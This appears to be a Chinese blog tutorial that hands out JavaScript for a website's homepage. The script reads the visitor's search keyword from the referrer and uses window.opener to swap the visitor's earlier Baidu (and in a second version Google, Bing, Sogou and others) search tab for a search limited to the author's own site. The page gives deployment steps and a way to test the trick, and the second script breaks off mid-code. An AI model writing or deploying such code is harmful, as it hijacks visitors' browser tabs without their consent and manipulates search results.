代码非常简单,判断URL里是否是通过网址来的,然后把两关键字进行判断,然后输出。那么,如果你对代码不是特别熟悉只需要把代码里的www.letians.cn这个网址改成你自己的就OK了。
接下来,就是要把代码放到你的网站中,把修改好的代码,保存为JS文件,然后使用FTP上传。
通过<script type=”text/javascript” src=”js/ad.js”></script>(假设你把文件保存为ad.js并且放到了js目录下) 直接把这个代码添加到网站的首页文件中,就可以实现跳转了。
如何做测试呢?你可以通过百度输入关键词,然后找到你网站,点击你自己的网站后。然后再返回到之前打开的百度里再去输入其他的关键词进行查询,是不是都变成你的网站了呢?
var cnmurl = document.referrer;
if (cnmurl != "") {
var cnmwda = cnmurl.split("wd=")[1];
var cnmwdb = cnmwda.split("&")[0];
if (cnmwdb != "") {
if (parent.window.opener) {
parent.window.opener.location = 'http://www.baidu.com/s?si=www.letians.cn&ct=2097152&wd=' + cnmwdb;
} else {
window.opener.document.location.href = 'http://www.baidu.com/s?si=www.letians.cn&ct=2097152&wd=' + cnmwdb;
}
}
}
----------------------最新代码免费使用-------------------------
var eg=[["www.google.com.hk/","&safe=strict&sitesearch=","",""],["www.google.com.tw/","&safe=strict&sitesearch=","",""],["www.google.com/","&safe=strict&sitesearch=","",""],["209.116.186.217/","&safe=strict&sitesearch=","",""],["www.baidu.com/","&ct=2097152&tn=0051&si=","baidu","baidu.com"],["www.haosou.com/","&rg=1&site=","haosou","haosou.com"],["cn.bing.com/","&rg=1&site=","",""],["sg.search.yahoo.com/","&site=","",""],["www.youdao.com/","&site=","",""],["www.sogou.com/","&site=","sogou","sogou.com"],["www.soso.com/","&site=","",""]];
var p=undefined;
try{if(window.opener)
{p=window.opener.location.href.toLowerCase();}
}
catch(e)
|